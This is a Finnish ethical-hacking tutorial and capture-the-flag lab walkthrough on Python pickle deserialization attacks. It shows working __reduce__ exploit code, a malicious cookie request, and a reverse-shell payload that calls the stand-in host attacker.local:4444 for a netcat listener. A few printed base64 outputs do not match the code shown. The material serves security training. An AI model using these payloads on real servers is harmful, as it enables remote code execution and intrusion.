Deserialisointihyökkäykset

Mitä ovat deserialisointihyökkäykset?

Keskitaso
1 h 30 min

Mitä on sarjallistaminen?


Sarjallistamista (serialisointi) käytetään ohjelmoinnissa muuttamaan objekteja muotoon, jossa ne voidaan esimerkiksi tallentaa levylle tai siirtää verkon yli.

Tässä on esimerkki (serialisoi.py) jossa käytetään Python pickle-kirjastoa serialisoimaan auto.

import pickle
from base64 import b64encode, b64decode


class Auto(object):
    def __init__(self, merkki: str, vuosimalli: int):
        self.merkki = merkki
        self.vuosimalli = vuosimalli

    def __str__(self):
        return f"{self.merkki} VM {self.vuosimalli}"

auto = Auto(merkki='Volvo', vuosimalli=1975)

print(auto)

print(b64encode(pickle.dumps(auto)).decode('utf-8'))

Kun skripti ajetaan, se tulostaa (base64-enkoodattuna) auton sarjallistettuna.

python3 ./serialisoi.py
Volvo VM 1975
gASVPgAAAAAAAACMCF9fbWFpbl9flIwEQXV0b5STlCmBlH2UKIwGbWVya2tplIwFVm9sdm+UjAp2dW9zaW1hbGxplE23B3ViLg==

Tässä on toinen ohjelma (deserialisoi.py), joka ottaa parametrina (base64-enkoodatun) serialisoidun auton, ja tulostaa sen tiedot.

import pickle
from base64 import b64decode
import sys


class Auto(object):
    def __init__(self, merkki: str, vuosimalli: int):
        self.merkki = merkki
        self.vuosimalli = vuosimalli
        
    def __str__(self):
        return f"{self.merkki} VM {self.vuosimalli}"

serialisoitu = sys.argv[1]
auto = pickle.loads(b64decode(serialisoitu))
print(auto)
python3 deserialisoi.py gASVPgAAAAAAAACMCF9fbWFpbl9flIwEQXV0b5STlCmBlH2UKIwGbWVya2tplIwFVm9sdm+UjAp2dW9zaW1hbGxplE23B3ViLg==
Volvo VM 1975

Näin toimii sarjallistaminen. Muistissa olevasta objektista tallennettavaan/siirrettävään muotoon, ja takaisin.

__reduce__

Sarjallistamisessa piilee vaara. Mitä jos sarjallistettua objektia onkin muunneltu matkalla, eikä se enää olekaan vain harmiton auto?

Pythonin picklen dokumentaatiossa on kuvailtu funktio jota kutsutaan objektin deserialisoinnin aikana: __reduce__.

Funktion alkuperäinen käyttötarkoitus on auttaa purkamaan objekti oikeanlaiseksi. Mutta käyttötarkoitus josta me ollaan kiinnostuneita, on mielivaltaisen koodin ajaminen palvelimella, kun sovellus ottaa "auton" purkuun!

Autopommi

Tehdään vielä kolmas skripti, hax.py, joka rakentaa meille objektin, jossa on __reduce__ funktio määritettynä. Funktion paluuarvo on tuple, jonka ensimmäinen elementti on funktio, ja toinen elementti on toinen tuple, joka sisältää parametrit.

Eli esim. alla olevassa koodissa __reduce__ palauttaa tuplen ("print", ("PUM!",)), joka tarkoittaa että kutsu print funktiota parametrina "PUM!".

import pickle
from base64 import b64encode, b64decode
import os


class Auto(object):
    def __init__(self, merkki: str, vuosimalli: int):
        self.merkki = merkki
        self.vuosimalli = vuosimalli

    def __reduce__(self):
        return (print, ("PUM!",))

auto = Auto(merkki='Volvo', vuosimalli=1975)

print(b64encode(pickle.dumps(auto)).decode('utf-8'))

Lopputuloksena sovellus ei saa autoa purettua (sen arvoksi tulee None), mutta sovellus ajaa hyökkääjän koodin, eli print("PUM!").

python3 hax.py 
gASVIwAAAAAAAACMBXBvc2l4lIwGc3lzdGVtlJOUjAhlY2hvIFBVTZSFlFKULg==
python3 deserialisoi.py gASVIwAAAAAAAACMBXBvc2l4lIwGc3lzdGVtlJOUjAhlY2hvIFBVTZSFlFKULg==
PUM!
None

os.system

os.system-funktiolla saa näppärästi ajettua käyttöjärjestelmäkomentoja.

import pickle
from base64 import b64encode, b64decode
import os


class Auto(object):
    def __init__(self, merkki: str, vuosimalli: int):
        self.merkki = merkki
        self.vuosimalli = vuosimalli

    def __reduce__(self):
        return (os.system, ("echo PUM",))

auto = Auto(merkki='Volvo', vuosimalli=1975)

print(b64encode(pickle.dumps(auto)).decode('utf-8'))
python3 hax.py 
gASVIwAAAAAAAACMBXBvc2l4lIwGc3lzdGVtlJOUjAhlY2hvIFBVTZSFlFKULg==
python3 deserialize.py "gASVIwAAAAAAAACMBXBvc2l4lIwGc3lzdGVtlJOUjAhlY2hvIFBVTZSFlFKULg=="
PUM
0

Yhteenveto

Kun sovellus yrittää deserialisoida sarjallistettua objektia, jota hyökkääjä on päässyt muokkaamaan, hyökkääjän voi olla mahdollista ajaa mielivaltaista koodia palvelimella. Pythonin picklen tapauksessa helpoin tapa hyökkäyksen tekemiseksi on sarjallistaa objekti jolle on määritetty __reduce__ funktio, koska picklen deserialisointiprosessi kutsuu ko. funktiota. Tällaisia funktioita joilla deserialisoinnista saadaan koodia ajoon kutsutaan yleensä "gadgeteiksi".

Harjoitus

Käynnistä tässä vaiheessa harjoitus, ja jatka lukemista.

Tappavat Suolakurkut

Tässä labrassa pääset harjoittelemaan deserialisointihyökkäyksiä Python-sovellusta vastaan joka käyttää sarjallistamista epäturvallisesti.

Tavoite

Hanki root-pääsyt palvelimelle ja lue lippu tiedostosta /flag.txt

Tehtävät

Flag

Löydä lippu (flag) labraympäristöstä ja syötä se alle.

Epäilyttävä eväste

Kun sovelluksen kieltä vaihdetaan, sovellus asettaa aina uuden evästeen "userPrefs", joka sisältää jotain selvästi base64-enkoodattua. Otetaan evästeen arvo, dekoodataan se, ja tallennetaan se tiedostoon "userprefs.data".

echo 'gANjX19tYWluX18KVXNlclByZWZlcmVuY2VzCnEAKYFxAX1xAlgEAAAAbGFuZ3EDWAIAAABlbnEEc2Iu'|base64 -d > userprefs.data

Tutkitaan tiedostoa. Pythonissa on sisäänrakennettuna moduuli jolla pickle-tiedostoja voi tutkia. Voimme siis kokeilla että onko tiedosto picklellä sarjallistettu seuraavanlaisesti:

python3 -m pickletools userprefs.data 
    0: \x80 PROTO      3
    2: c    GLOBAL     '__main__ UserPreferences'
   28: q    BINPUT     0
   30: )    EMPTY_TUPLE
   31: \x81 NEWOBJ
   32: q    BINPUT     1
   34: }    EMPTY_DICT
   35: q    BINPUT     2
   37: X    BINUNICODE 'lang'
   46: q    BINPUT     3
   48: X    BINUNICODE 'en'
   55: q    BINPUT     4
   57: s    SETITEM
   58: b    BUILD
   59: .    STOP
highest protocol among opcodes = 2

Haa! Kyllä se on.

Hyökkäys

Tee python-koodi exploit.py joka rakentaa sarjallistetun objektin jonka __reduce__ funktio ajaa haluamasi käyttöjärjestelmäkomennon:

import pickle
from base64 import b64encode
import os

command = '''
echo PUM
'''

class Exploit(object):
    def __reduce__(self):
        return (os.system, (command,))

e = Exploit()
print(b64encode(pickle.dumps(e)).decode('utf-8'))

Sitten vain ajat koodin, ja lähetät tulosteen sovellukseen evästeenä.

python3 exploit.py 
gASVKAAAAAAAAACMCGJ1aWx0aW5zlIwEZXZhbJSTlIwMcHJpbnQoJ1BVTScplIWUUpQu
HTTP-Pyyntö
GET / HTTP/1.1
Host: www-c0cpuypk1b.ha-target.com
Cookie: session=.eJw...; UserPrefs=gASVKAAAAAAAAACMCGJ1aWx0aW5zlIwEZXZhbJSTlIwMcHJpbnQoJ1BVTScplIWUUpQu
Connection: close

Vastaus
HTTP/1.1 500 INTERNAL SERVER ERROR
Date: Thu, 09 Feb 2023 08:40:45 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 290
Connection: close
Vary: Cookie

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
<title>500 Internal Server Error</title>
<h1>Internal Server Error</h1>
<p>The server encountered an internal error and was unable to complete your request. Either the server is overloaded or there is an error in the application.</p>

Sovellus odotetusti kaatuu koska UserPreferences objektia ei tietenkään saatu parsittua evästeestä. Jos kuitenkin katsoisimme sovelluksen lokia, huomaisimme että siellä lukee "PUM".

Reverse shell

Aika ottaa palvelin haltuun.

Käynnistä netcat-kuuntelija portilla 4444. Ajat seuraavaksi kohdepalvelimella python-koodia joka yhdistää porttiin ja antaa palvelimen haltuusi.

nc -lvnp 4444
listening on [any] 4444 ...
  • nc = netcat
  • -l = kuuntele (listen)
  • -v = verbose (kerro kun yhteys muodostetaan)
  • -n = älä tee turhia DNS-kyselyitä
  • -p = portti

Entäs se Python-koodi sitten? Käteviä skriptinpätkiä tällaisiin tilanteisiin löytyy esimerkiksi PayloadAllTheThings -repositoriosta. Tässä on python-koodi jota voit käyttää hyökkäyksessä. Koodi toimii seuraavasti:

  • Avataan yhteys osoitteeseen attacker.local (sinun hyökkääjän koneesi) TCP porttiin 4444.
  • Avataan shelli (/bin/sh) ja yhdistetään shellin stdin, stdout ja stderr sokettiin.
import socket,os,pty;s=socket.socket();s.connect(("attacker.local",4444));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")

Voit ajaa python-koodinpätkiä komentoriviltä "python -c <koodi>". Koodistasi tulee siis:

import pickle
from base64 import b64encode
import os

command = '''
python -c 'import socket,os,pty;s=socket.socket();s.connect(("attacker.local",4444));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")' 
'''

class Exploit(object):
    def __reduce__(self):
        return (os.system, (command,))

e = Exploit()
print(b64encode(pickle.dumps(e)).decode('utf-8'))

Aja koodi ja lähetä sovellukselle UserPrefs evästeen arvona sarjallistettu objekti jonka __reduce__ funktio lähettää etäyhteyden (reverse shell) kuuntelijaasi. Jos kaikki menee hyvin, saat kuuntelijaasi shellin josta pääset lukemaan lipun.

root@whlhxbyzok-student:~# nc -lvnp 4444
listening on [any] 4444 ...
connect to [10.0.1.108] from (UNKNOWN) [10.0.1.68] 55534
cat /flag.txt
eyJhbG...
hakatemia pro

Valmis ryhtymään eettiseksi hakkeriksi?
Aloita jo tänään.

Hakatemian jäsenenä saat rajoittamattoman pääsyn Hakatemian moduuleihin, harjoituksiin ja työkaluihin, sekä pääset discord-kanavalle jossa voit pyytää apua sekä ohjaajilta että muilta Hakatemian jäseniltä.